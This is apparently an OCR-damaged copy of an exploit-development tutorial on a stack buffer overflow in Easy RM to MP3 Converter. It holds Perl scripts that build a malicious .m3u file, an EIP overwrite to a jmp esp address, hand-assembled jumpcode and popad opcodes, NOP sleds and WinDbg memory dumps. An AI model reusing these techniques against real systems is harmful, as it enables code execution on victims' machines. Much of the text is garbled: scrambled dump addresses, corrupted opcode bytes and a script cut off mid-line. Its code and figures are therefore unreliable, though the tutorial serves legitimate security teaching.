eip=424242 cs=001b s Missing in Missing in Missing in <unloaded 42424242</unloaded 	242 es ss=002 nage n nage n P32.d ??	p=00 ame ame ame	90f1 ds=0 , pc , pc , pc	f730 0023 0ssil 0ssil 0ssil	ebp= es= ble p ble p ble p	003440 0023 aged-o aged-o	c0 : fs=0 ut 0 ut 0	iop 9031 or or	l=0 b g cori	gs=(rup1	9000 t da	ata ata	nv u	c5fce0 edi=00006715 p ei pl nz na pe nc efl=00000206
0:000> d e 000ff730 000ff750 000ff750 000ff760 000ff770 000ff780 000ff780 000ff7a0 0:000> d		58 58 90 90 90 90	58 58 90 90 90 90	58 58 90 90 90 90	58 58 58 58 90 90 90 90 90 90 90 90	58 - 58 58 - 58 58 - 58 90 - 90 90 - 90 90 - 90 90 - 90 90 - 90	58 58 90 90 90 90	58 90 90 90 90	58 58 90 90 90 90	58 58 90 90 90 90	58 58 90 90 90	90 90	58 58 90 90 90 90	XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
0:0007 000ff7b0 000ff7c0 000ff7c0 000ff7e0 000ff7e0 000ff800 000ff810 000ff820 0:000> d	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	90 90 90 90 90 90 90	90 90 90 90	90 90 90 90 90 90 90	90 90 90 90 90 90 90 90 90 90 90 90	90 - 90 90 - 90	90 90 90 90 90	90 90 90 90 90 90	90 90 90 90 90 90	90 90 90 90 90 90	90 90 90 90 90 90	90 90 90 90	90 90 90 90 90 90	
000ff830 000ff840 000ff850 000ff860 000ff870 000ff880 000ff880 000ff880	41 41 41 41 41 41 41 41	90 41 41 41 41 41 41 41	90 41 41 41 41 41 41	90 9 41 4 41 4 41 4 41 4	90 90 41 41 41 41 41 41 41 41 41 41 41 41	90-90 90-00 41-41 41-41 41-41 41-41 41-41 41-41	41 41 41 41 41 41 41	AAAAAAA AAAAAAAAA AAAAAAAAAA AAAAAAAAAAA AAAAAAAAAAA AAAAAAAAAAA AAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAAAAA AAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA						

We can see our 50 X's at ESP. Let's pretend this is the only space available for shellcode (we think). However, when we look further down the stack.

https://www.corelan.be



we can find back A's starting from address 000ff849 (=ESP+281).

When we look at other registers, there's no trace of X's or A's. (You can just dump the registers, or look for a number of A's in memory. So this is it. We can jump to ESP to execute some code, but we only have 50 bytes to spend on shellcode. We also see other parts of our buffer at a lower position in the stack... in fact, when we continue to dump the contents of ESP, we have a huge buffer filled with A's...

Command	ż	1 303	6-1	ŝ	696	114	1001	.404 X06								
00011710	50	90	50	90	50	90	50	90-90	90	50	90	50	90	50	90	
00011800	90	90	90	90	90	90	90	90-90	90	90	90	90	90	90	90	
000ff010	90	90	90	90	90	90	90	90-90	90	90	90	90	90	90	90	
000ff820	90	90	90	90	90	90	90	90-90	90	90	90	90	90	90	90	
0:000> d																
00011000	50	90	90	90	50	90	90	90-90	90	90	90	50	90	50	90	
000ff840	90	90	90	90	90	90	90	90-00	41	41	41	41	41	41	41	
02811000	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	************
03811000	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	*******
00011870	41	41	41	41	41	41	41		41	41	41	41	41	41	41	***********
00011000	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	*************
00011890	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	************
04811000	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	************
0:000> d																
00011890		41		41		41		41 - 41			41	41	41	41	41	************
000ff8c0	41	41	41	41	41	41	41	41 - 41		41	41	41	41	41	41	*************
000ff8d0	41	41	41	41	41	41	41		41	41	41	41	41	41	41	*****
09811000	41	41	41	41	41	41	41		41	41	41	41	41	41	41	************
01011000	41	41	41	41	41	41	41		41	41	41	41	41	41	41	*************
00011900	41	41	41	41	41	41	41		41	41	41	41	41	41	41	*****
01611000	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	*************
000ff920	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	************
0:000> d																
00011930		41		41	41			41 - 41		41		41	41	41	41	*************
000ff940	41	41	41	41	41	41	41	41-41			41	41	41	41	41	<u> </u>
02611000		41	41	41	41	41		41-41			41	41	41	41	41	AIAIAIAIAIAIAIA
03611000	41	41	41	41	41	41	41		41	41	41	41	41	41	41	**************
000ff970	41	41	41	41	41	41	41		41	41	41	41	41	41	41	<u> </u>
09611000	41	41	41	41	41	41	41	41-41		41	53	41	43	41	41	AIAIAIAIAIAIAAA
00011000 04611000	41	41	41	41	41	41	41		41	41	41	41	41			**************
0:000> d	41	41	41	41	41	41	41	41-41	**	41	41	41	41	41	41	************
00011950	41	41	41	41	41	41	41	41-41	4.5	41	41	41	41	41	41	***********
00011900	41	21	41	21	41	21	41	41-41		41	22	41	22	21	33	111111111111111111
000119000	41	41	41	41	41	41	41		31	41	÷1	łî.	41	41	÷.	A14141414141414141
000ff9e0	41	41	41	41	41	41	41		11	41	41	41	22	41	22	A1A1A1A1A1A1A1A1A1
01611000		22	41	31	41	31	41		22	41	22	łî.	22	łî.	31	11111111111111111
000ffa00	41	41	41	41	41	41	41		41	41	41	41	41	41	41	A1A1A1A1A1A1A1A1A1
000ffa10	41	41	41	41	41	41	41		41	41	41	41	41	41	41	A1A1A1A1A1A1A1A1
000ffa20	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	A3A3A3A3A3A3A3A3A3
0:000> d	**		**		**		**			**		**		**		
0Ca11000	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	*************
000ffa40	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	A3A3A3A3A3A3A3A3A3A3
000ffa50	41	41	41	41	41	41	41		41	41	41	41	41	41	41	ABABABABABABABAB
03611000	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	ABABABABABABABAB
000ffa70	41	41	41	41	41	41	41		41	41	41	41	41	41	41	**********
000ffa80	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	*****
000ffa90	41	41	41	41	41	41	41		41	41	41	41	41	41	41	***********
0a611000	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	*****
0:000> d		- *			- *											
0doffab0	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	************
03611000	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	*****
00611000	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	***********
000ffae0	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	******
01611000	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	*****
000ffb00	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	**********
000ffb10	41	41	41	41	41	41	41	41-41	41	41	41	41	41	41	41	*****
000ffb20	41	41	41	41	41	41	41	41 - 41	41	41	41	41	41	41	41	************

Luckily there is a way to host the shellcode in the A's and use the X's to jump to the A's. In order to make this happen, we need a couple of things

The position inside the buffer with 26094 A's that is now part of ESP, at 000ff849 ("Where do the A's shown in ESP really start ?) (so if we want to put our shellcode inside the A's, we need to know where exactly it needs to be put)
 "Jumpcode": code that will make the jump from the X's to the A's. This code cannot be larger than 50 bytes (because that's all we have available directly at ESP)

We can find the exact position by using guesswork, by using custom patterns, or by using one of metasploits patterns. We'll use one of metasploit's patterns... we'll start with a small one (so if we are looking at the start of the A's, then we would not have to work with large amount of character patterns :-))

Generate a pattern of let's say 1000 characters, and replace the first 1000 characters in the perl script with the pattern (and then add 25101 A's)

my \$file= "test1.m3u"; my \$pattern = "Aa0Aa1Aa2Aa3Aa4Aa....g8Bg9Bh0Bh1Bh2B"; my \$junk= "A" x 25101; my \$eip = "BBBB"; my \$preshellcode = "X" x 54; #let's pretend this is the only space we have available at ESP my \$nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data in the ESP dump open(\$FILE,">\$file"); print \$FILE \$pattern.\$junk.\$eip.\$preshellcode.\$nop; close(\$FILE); print "m3u File Created successfully\n";

```
000ff7a0
0:000> d
000ff7b0
000ff7c0
000ff7c0
000ff7e0
000ff7f0
000ff810
000ff810
            . . . . . . . . . . . . . . . .
                                                                         . . . . . . . . . . . . . . . .
                                                                         . . . . . . . . . . . . . . . .
                                                                         .....
                                                                         . . . . . . . . . . . . . . . .
                                                                         . . . . . . . . . . . . . . . .
 000ff820
                                                                         . . . . . . . . . . . . . . . .
 0:000> d
            000ff830
000ff840
                                                                        .....5Ai6Ai7
Ai8Ai9Aj0Aj1Aj2A
j3Aj4Aj5Aj6Aj7Aj
&Aj9Ak0Ak1Ak2Ak3
Ak4Ak5Ak6Ak7Ak8A
k9Al0Al1Al2Al3Al
 000ff850
000ff860
000ff870
 000ff880
 000ff890
```



000ff8a0 34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39 4Al5Al6Al7Al8Al9

What we see at 000ff849 is definitely part of the pattern. The first 4 characters are 5Ai6

90 90		90 90	90 90	90 90	90-90 90-90	90 90	90 90	90 90	90 90	90 90	90 90	90 90	
90 90 38 41 68 34 41 60	90 41 6a 39 41 6c	90 69 34 41 65 30 41	90 39 41 6b 35 41 6c	90 90 41 30 41 60 36		90 35 41 6a 31 41 6c 37	90 41 68 36 41 6b 32 41	90 31 41 6b 37 41 6c	90 41 6a 32 41 6C 38	90 41 68 37 41 65 33 41	90 69 32 41 6b 38 41 6c	90 37 41 68 33 41 60 39	5A16A17 13A19A10A11A12A 13A14A55A16A17A1 8A19Ak0Ak1Ab2Ak3 Ak4Ak5Ak6Ak7Ak8A k9A10A11A12A13A1 4A15A16A17A18A19
48 41 68 36 41 61 32 41 6d	41 6b 37 41 60	36 41 52 41 50 38 41	41 37 41 6b 33 41 6d	69 32 41 6b 38 41 60 34	37-41 41-6a 6a-38 33-41 41-6b 6c-34 39-41 41-6d	69 33 41 6b 39 41 6d 35	38 41 6a 34 41 60 30 41	41 39 41 60 35 41 6d	69 34 41 65 30 41 6d 36	39 41 6b 35 41 60 31 41	41 5a 30 41 50 36 41 6d	6a 35 41 6b 31 41 6d 37	.5.2.16.2.17.2.18.2.19.2.1 0.3.11.3.12.3.13.4.2.5 1.3.6.3.17.3.18.2.3.2.4.3.5 1.1.2.7.2.8.2.3.2.4.3.2.5.3.2. 6.3.2.7.3.2.8.2.4.3.5.3.2.6.3. 1.7.2.18.3.1.3.3.16.3.16.3. 1.7.2.18.3.1.5.3.0.3.1.3.1. 2.4.3.3.3.4.4.3.5.3.6.4.3.7

Using metasploit pattern offset utility, we see that these 4 characters are at offset 257. So instead of putting 26094 A's in the file, we'll put 257 A's, then our shellcode, and fill up the rest of the 26094 characters with A's again. Or even better, we'll start with only 250 A's, then 50 NOP's, then our shellcode, and then fill up the rest with A's. That way, we don't have to be very specific when jumping... If we can land in the NOP's before the shellcode, it will work just fine.

Let's see how the script and stack look like when we set this up :

my \$file= "test1.m3u"; my \$buffersize = 26094; my \$inop = "\x90" x 50; my \$nop = "\x90" x 50; my \$shellcode = "\xcc"; my \$restofbuffer = "A" x (\$buffersize-(length(\$junk)+length(\$nop)+length(\$shellcode))); my \$eip = "BBBB"; my \$preshellcode = "X" x 54; #let's pretend this is the only space we have available my \$pnop2 = "\x90" x 230; #added some nops to visually separate our 54 X's from other data my \$buffer = \$junk.\$nop.\$shellcode.\$restofbuffer; print "Size of buffer : ".length(\$buffer)."\n"; open(\$FILE,">\$file"); print \$FILE \$buffer.\$eip.\$preshellcode.\$nop2; close(\$FILE;); print "Mau File Created successfully\n";

When the application dies, we can see our 50 NOPs starting at 000ff848, followed by the shellcode (0x90 at 000ff874), and then again followed by the A's. Ok, that looks fine.

(188.c98): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Vinloaded P32.dll>+0x42424231:
42424242 7? ??? 000ff760 000ff770 000ff780 000ff790 000ff7a0 XX..... 000ff7a0 0:000> d 000ff7b0 000ff7c0 000ff7d0 000ff7d0 000ff7e0 000ff7f0 000ff800 000ff810 000ff810 000ff820 0:000> d
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90< 90 . 90 90 90 90 90 90 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90< 90 90-90 90 90 90 90 90 90 90 0:000> d 000ff830 000ff840 . 000ff850 000ff860 . 000ff870 ΑΑΑΑΑΑΑΑΑΑΑ 000ff880 000ff890 000ff8a0 AAAAAAAAAAAAAAAAA

The second thing we need to do is build our jumpcode that needs to be placed at ESP. The goal of the jumpcode is to jump to ESP+281

Writing jump code is as easy as writing down the required statements in assembly and then translating them to opcode (making sure that we don't have any null bytes or other restricted characters at the same time) :-)

Jumping to ESP+281 would require : Add 281 to the ESP register, and then perform jump esp. 281 = 119h. Don't try to add everything in one shot, or you may end up with opcode that contains null bytes.

Since we have some flexibility (due to the NOP's before our shellcode), we don't have to be very precise either. As long as we add 281 (or more), it will work. We have 50 bytes for our jumpcode, but that should not be a problem.

Let's add 0x5e (94) to esp, 3 times. Then do the jump to esp. The assembly commands are :



add esp,0x5e
add esp,0x5e
add esp,0x5e • jmp esp

Using windbg, we can get the opcode :

```
0:014> a
7C901211 add esp,0x5e
add esp,0x5e
7C901214 add esp,0x5e
add esp,0x5e
7C901217 add esp,0x5e
add esp,0x5e
7C90121a jmp esp
imp esp
   jmp esp
7c90121c
 0:014> u 7c901211
ntdll!DbgBreakPoint+0x3:
7c901211 83c45e
7c90124 83c45e
7c901217 83c45e
7c901217 83c45e
7c90121a ffe4
                                                                                                                                            esp,5Eh
esp,5Eh
esp,5Eh
                                                                                                           add
                                                                                                           add
add
                                                                                                              jmp
```

Ok, so the opcode for the entire jumpcode is 0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4

```
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #position 300
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
#add esp,0x5e
#add esp,0x5e
#add esp,0x5e
#jmp esp
my $nop2 = "0×90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
```

The jumpcode is perfectly placed at ESP. When the shellcode is called, ESP would point into the NOPs (between 00ff842 and 000ff873). Shellcode starts at 000ff874

45c.f60): Access violation - code c0000005 (!!! second chance !!!) ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608 ip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 issing image name, possible paged-out or corrupt data. issing image name, possible paged-out or corrupt data. issing image name, possible paged-out or corrupt data. issing image name, possible paged-out or corrupt data. Unloaded P32.dll>+0x42424231: 2424242 ?? ??	
:000> d esp	
00ff730 83 c4 5e 83 c4 5e 83 c4-5e ff e4 00 01 00 00 00^^^ 00ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 0AAAAAAAA	
00ff750 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff770 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff780 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff790 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff7a0 41 41 41 41 41 41 41 41 41 41 41 41 41	
:000> d	
00ff7b0 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff7c0 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff7e0 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff7f0 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff800 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff810 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff820 41 41 41 41 41 41 41 41 41 41 41 41 41	
:000> d	
00ff830 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff840 41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90 AA	
00ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90	
00ff860 90 90 90 90 90 90 90 90 90 90 90 90 90	
00ff870 90 90 90 90 cc 41 41 41 41 41 41 41 41 41 41 41AAAAAAAAAA	
00ff880 41 41 41 41 41 41 41 41 41 41 41 41 41	
00ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 41 AAAAAAAAAA	

The last thing we need to do is overwrite EIP with a "jmp esp". From part 1 of the tutorial, we know that this can be achieved via address 0x01ccf23a What will happen when the overflow occurs ?

Real shellcode will be placed in the first part of the string that is sent, and will end up at ESP+300. The real shellcode is prepended with NOP's to allow the jump to be off a little bit
EIP will be overwritten with 0x01ccf23a (points to a dll, run "JMP ESP")
The data after overwriting EIP will be overwritten with jump code that adds 282 to ESP and then jumps to that address.



• After the payload is sent, EIP will jump to esp. This will triggger the jump code to jump to ESP+282. Nop sled, and shellcode gets executed. Let's try with a break as real shellcode :

```
my $file= "test1.m3u";
my $buffersize = 26094;
my $pop = "\x90" x 50;
my $nop = "\x00" x 50;
my $shellcode = "\xcc"; #position 300
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x0lccf23a); #jmp esp from MSRMCcodec02.dll
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x81\xc4\x5e" . #add esp,0x5e
"\x81\x64\x5e" . #add esp,0x5e
"\x81\x64\x
```

The generated m3u file will bring us right at our shellcode (which is a break). (EIP = 0x000ff874 = begin of shellcode)

Replace the break with some real shellcode (and replace the A's with NOPs)... (shellcode : excluded characters 0x00, 0xff, 0xac, 0xca) When you replace the A's with NOPs, you'll have more space to jump into, so we can live with jumpcode that only jumps 188 positions further (2 times 5e)



print "Size of buffer : ".length(\$buffer)."\n";

open(\$FILE,">\$file");
print \$FILE \$buffer.\$eip.\$preshellcode.\$jumpcode;
close(\$FILE);
print "m3u File Created successfully\n";



pwned again :-)

Some other ways to jump

popadhardcode address to jump to

the "**popap**" instruction may help us 'jumping' to our shellcode as well. popad (pop all double) will pop double words from the stack (ESP) into the general-purpose registers, in one action. The registers are loaded in the following order : EDI, ESI, EBP, EBX, EDX, ECX and EAX. As a result, the ESP register is incremented after each register is loaded (triggered by the popad). One popad will thus take 32 bytes from ESP and pops them in the registers in an orderly fashion.

The popad opcode is 0x61

So suppose you need to jump 40 bytes, and you only have a couple of bytes to make the jump, you can issue 2 popad's to point ESP to the shellcode (which starts with NOPs to make up for the (2 times 32 bytes - 40 bytes of space that we need to jump over)) Let's use the Easy RM to MP3 vulnerability again to demonstrate this technique :

We'll reuse one of the script example from earlier in this post, and we'll build a fake buffer that will put 13 X's at ESP, then we'll pretend there is some garbage (D's and A's) and then place to put our shellcode (NOPS + A's)

```
my $file= "test1.m3u
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 17; #let's pretend this is the only space we have available
my $garbage = "\x44" x 100; #let's pretend this is the space we need to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "m3u File Created successfully\n";
```

After opening the file in Easy RM to MP3, the application dies, and ESP looks like this :

```
First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000001 ebx=00104a58 ecx=7c91005d edx=003f0000 esi=77c5fce0 edi=0000666d

eip=42424242 esp=000ff730 ebp=00344158 iop1=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

                                                                                                                                                                                                                                            => 13 bytes
                                                                                                                                                                                                                                            => garbage
                                                                                                                                                                                                                                        => garbage
=> garbage
=> garbage
=> garbage
=> garbage
 000ff7a0
0:000> d
000ff7b0
                                                                                                                                                                                                                                         => ğarbağe
                                                                                                                                                                               => garbage
=> garbage
                              000ff7c0
```

000ff7d0	41 41 4	1 41	41 41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ	=> garbage
000ff7e0	41 41 41	1 41	41 41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ	=> garbage
000ff7f0	41 41 41	1 41	41 41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ	=> garbage
000ff800	41 41 41	1 41	41 41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ	=> garbage
000ff810	41 41 41	1 41	41 41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ	=> garbage
000ff820	41 41 41	1 41	41 41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ	=> garbage
0:000> d														
000ff830	41 41 41	1 41	41 41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ	=> garbage
000ff840	41 41 9	0 90	90 90	90	90-90	90	90	90	90	90	90	90	ΑΑ	=> garbage
000ff850	90 90 9	0 90	90 90	90	90-90	90	90	90	90	90	90	90		=> ŇOPS/Šhellcode
000ff860	90 90 9	0 90	90 90	90	90-90	90	90	90	90	90	90	90		=> NOPS/Shellcode
000ff870	90 90 9	0 90	cc 41	41	41-41	41	41	41	41	41	41	41		=> NOPS/Shellcode
000ff880	41 41 41	1 41	41 41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ	=> NOPS/Shellcode
000ff890	41 41 41	1 41	41 41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ	=> NOPS/Shellcode
000ff8a0	41 41 4	1 41	41 41	41	41-41	41	41	41	41	41	41	41	ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ	=> NOPS/Shellcode

Let's pretend that we need to use the 13 X's (so 13 bytes) that are available directly at ESP to jump over 100 D's (44) and 160 A's (so a total of 260 bytes) to end up at our shellcode (starts with NOPs, then a breakpoint, and then A's (=shellcode))

One popad = 32 bytes. So 260 bytes = 9 popad's (-28 bytes)

(so we need to start our shellcode with nops, or start the shellcode at [start of shellcode]+28 bytes

In our case, we have put some nops before the shellcode, so let's try to "popad" into the nops and see if the application breaks at our breakpoint. First, overwrite EIP again with jmp esp. (see one of the previous exploit scripts)

Then, instead of the X's, perform 9 popad's, followed by "jmp esp" opcode (0xff,0xe4)

my \$file= "test1.m3u";
my \$buffersize = 26094; my \$junk= "A" x 250; my \$nop = "\x90" x 50; my \$shellcode = "\xcc"; my \$restofbuffer = "A" x (\$buffersize-(length(\$junk)+length(\$nop)+length(\$shellcode))); my \$eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll my \$preshellcode = "X" x 4; # needed to point ESP at next 13 bytes below \$preshellcode=\$preshellcode."\x61" x 9; #9 popads \$preshellcode=\$preshellcode."\xff\xe4"; #10th and 11th byte, jmp esp \$preshellcode=\$preshellcode."\x90\x90\x90"; #fill rest with some nops my \$garbage = "\x44" x 100; #garbage to jump over my \$buffer = \$junk.\$nop.\$shellcode.\$restofbuffer; print "Size of buffer : ".length(\$buffer)."\n"; open(\$FILE,">\$file"); print \$FILE \$buffer.\$eip.\$preshellcode.\$garbage; close(\$FILE); print "m3u File Created successfully\n";

After opening the file, the application does indeed break at the breakpoint. EIP and ESP look like this :

eax= eip= cs=0 Miss Miss <unl 0001</unl 	=90909 = 000f 001b sing sing sing coadeo ff874	9090 f874 ss=(imago imago imago d_P32 CC	eb es 002 e n e n e n	x=90 p=00 3 0 ame ame ame	9904 90f ds=0 , p0 , p0	414 685 0023 0551 0551	l ed) el 3 d ible ible	cx=9 op=4 es=0 e pa e pa e pa	cceptic 9090909 4141414 9023 aged-ou aged-ou aged-ou aged-ou	90 0 41 : fs=0 ut 0 ut 0	edx iop 9031 or (or (=909 l=0 b g cori	909(gs=(rup ⁺ rup ⁺	990 9000 t da t da	es: 9 ata ata	i=41 nv u	rst chance) 414141 edi=41414141 p ei pl nz na pe nc efl=00000206
0001 0001 0001 0001 0001 0001 0001	00> d f874 f884 f894 f8a4 f8b4 f8b4 f8c4 f8c4 f8c4	cc 41 41 41 41 41 41 41	41 41 41 41 41 41 41 41	41 41 41 41 41 41 41	41 41 41 41 41 41 41	41 41 41 41 41 41 41	41 41 41 41 41 41 41	41 41 41 41 41 41 41	$\begin{array}{c} 41 - 41 \\ 41 - 41 \\ 41 - 41 \\ 41 - 41 \\ 41 - 41 \\ 41 - 41 \\ 41 - 41 \\ 41 - 41 \\ 41 - 41 \end{array}$	41 41 41 41 41 41 41	41 41 41 41 41 41 41	41 41 41 41 41 41 41	41 41 41 41 41 41 41	41 41 41 41 41 41 41	41 41 41 41 41 41 41	41 41 41 41 41 41 41	. АААААААААААААААА АААААААААААААААА Алалалала
0001 0001 0001 0001 0001 0001 0001	00> d f842 f852 f862 f872 f882 f882 f882 f882 f882 f882 f8b2	90 90 90 41 41 41 41	90 90 90 41 41 41	90 90 CC 41 41 41	90 90 41 41 41 41	90 90 41 41 41 41	90 90 41 41 41 41 41	90 90 41 41 41 41 41	90-9090-9090-9041-4141-4141-4141-4141-41	90 90 41 41 41 41 41	90 90 41 41 41 41	90 90 41 41 41 41	90 90 41 41 41 41	90 90 41 41 41 41	90 90 41 41 41 41 41	90 90 41 41 41 41 41	
0001 0001 0001 0001 0001 0001	f850 f860 f870 f880 f890 f890 f8b0 f8b0 f8c0	90 90 90 41 41 41 41	90 90 41 41 41 41 41	90 90 41 41 41 41 41	90 90 41 41 41 41 41	90 CC 41 41 41 41 41	90 41 41 41 41 41 41 41	90 41 41 41 41 41 41	90-9090-9041-4141-4141-4141-4141-4141-4141-41	90 41 41 41 41 41 41	90 41 41 41 41 41 41	90 41 41 41 41 41 41	90 41 41 41 41 41 41	90 41 41 41 41 41 41	90 41 41 41 41 41 41	90 41 41 41 41 41 41	

=> the popad's have worked and made esp point at the nops. Then the jump to esp was made (0xff 0xe4), which made EIP jump to nops, and slide to the breakpoint (at 000f874)

Replace the A's with real shellcode :



C: Progra	n Féles' (Easy B	iM to M	3 Convi	reter\R	1000	Conver	terzos	e" - Wiel	96gr6.11.0001.404.X86	_101 x
	r Debug Wir								(
	45 1 5 5 5 B									and the second second
			Edit Vie	w Help					er.ese" - WinDbg6.11.0001.404.X86	
ModLoad:	77520000							0,		-
	662b0000 71a90000		· · · · ·						9.d11 pap.d11	
ModLoad	75500000	7551		Backag		α	1	e	dll	
	74750000		L					·	o.dl1	
			MC	-					40.d11	
	76460000		M.	_	•	•	1	191	pi.dll	
ModLoad	77540000	7726						1	p.d11	
	76td0000	7704	-	_	- 5	•			D. DIT	
ModLoad:	77050000 77a20000	7711 77a7	MS					14	d11	
ModLoad	76600000	7661	MQ.	_	2		1			
ModLoad	75280000	7607	1	0					sui.dll	
	77920000	77a1	Me	_	- MA		· ·	_	PI.d11	
	Sad70000 76990000		0.5.0	CONT	100.000	Company P	en 17		be.dll ui.dll	
	76520000			C VI	NDOW:	Carat	en 32	ATL D	LL	
ModLoad	7e290000	7e401	000	C:\VI	NDOWS	Aget	en.32	shdoc	vw.d11	
	77a90000 77b20000			CINT	NDOWS	syst	e#35.	CRIPT	32.411	
	77520000 754d0000			C:NFI C:NFI	MDOWS MDOWS	Carrat	ea.32	COTPT	1.d11 01.d11	
ModLoad:	76030000	7605el								
ModLoad:	76c90000	76cbi	Eas	Y RM	to	4P3 (Com	verte		
